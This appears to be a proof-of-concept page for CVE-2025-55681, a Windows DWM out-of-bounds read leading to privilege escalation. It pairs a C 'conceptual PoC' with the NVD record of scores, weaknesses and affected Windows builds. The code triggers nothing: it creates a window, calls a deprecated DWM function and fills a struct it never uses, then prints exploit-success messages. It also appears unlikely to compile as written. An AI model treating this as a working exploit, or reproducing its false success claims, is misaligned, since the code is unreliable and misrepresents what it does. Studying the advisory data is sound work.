CVE-2025-55681

// CVE-2025-55681 - Windows DWM Out-of-bounds Read Privilege Escalation // Vulnerability: Out-of-bounds read in Windows DWM // Impact: Local Privilege Escalation to SYSTEM // Note: This is a conceptual PoC structure based on publicly available information. // Actual exploitation requires specific Windows internals knowledge. #include <windows.h> #include <stdio.h> // Function to trigger the out-of-bounds read in DWM // by manipulating window properties and DWM composition BOOL TriggerDWM_OOB_Read() { // Step 1: Create a hidden window to interact with DWM WNDCLASSEXW wc = {0}; wc.cbSize = sizeof(WNDCLASSEXW); wc.lpfnWndProc = DefWindowProcW; wc.hInstance = GetModuleHandle(NULL); wc.lpszClassName = L"DWMExploitClass"; if (!RegisterClassExW(&wc)) { printf("[-] Failed to register window class\n"); return FALSE; } // Step 2: Create window with specific properties to trigger DWM processing HWND hWnd = CreateWindowExW( WS_EX_LAYERED | WS_EX_TRANSPARENT, L"DWMExploitClass", L"DWMExploit", WS_OVERLAPPEDWINDOW, 0, 0, 100, 100, NULL, NULL, wc.hInstance, NULL ); if (!hWnd) { printf("[-] Failed to create window\n"); return FALSE; } // Step 3: Enable DWM composition for the window // DwmEnableComposition triggers DWM to manage the window // This is where the out-of-bounds read may occur BOOL bEnabled = TRUE; HRESULT hr = DwmEnableComposition(DWM_EC_ENABLECOMPOSITION); if (SUCCEEDED(hr)) { printf("[+] DWM composition enabled\n"); } // Step 4: Trigger DWM thumbnail/property manipulation // to cause out-of-bounds memory access DWM_THUMBNAIL_PROPERTIES props = {0}; props.dwFlags = DWM_TNP_RECTDESTINATION | DWM_TNP_VISIBLE; props.rcDestination = {0, 0, 100, 100}; props.fVisible = TRUE; // Manipulate DWM to trigger the vulnerability // The exact trigger conditions require reverse engineering printf("[*] Triggering DWM out-of-bounds read...\n"); // Cleanup DestroyWindow(hWnd); UnregisterClassW(L"DWMExploitClass", wc.hInstance); return TRUE; } int main() { printf("[*] CVE-2025-55681 PoC - Windows DWM OOB Read\n"); printf("[*] Target: Windows DWM Privilege Escalation\n\n"); if (TriggerDWM_OOB_Read()) { printf("[+] Exploit trigger completed\n"); printf("[+] In a real exploit, this would lead to LPE\n"); } else { printf("[-] Exploit failed\n"); } return 0; }

{"cve": {"id": "CVE-2025-55681", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:48.750", "lastModified": "2025-10-24T15:07:56.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Windows DWM allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "B51B700D-B45F-4A8E-9F78-67A1282B3BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6060", "matchCriteriaId": "A3FEBF91-5010-4C84-B93A-6EFA4838185A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55681", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}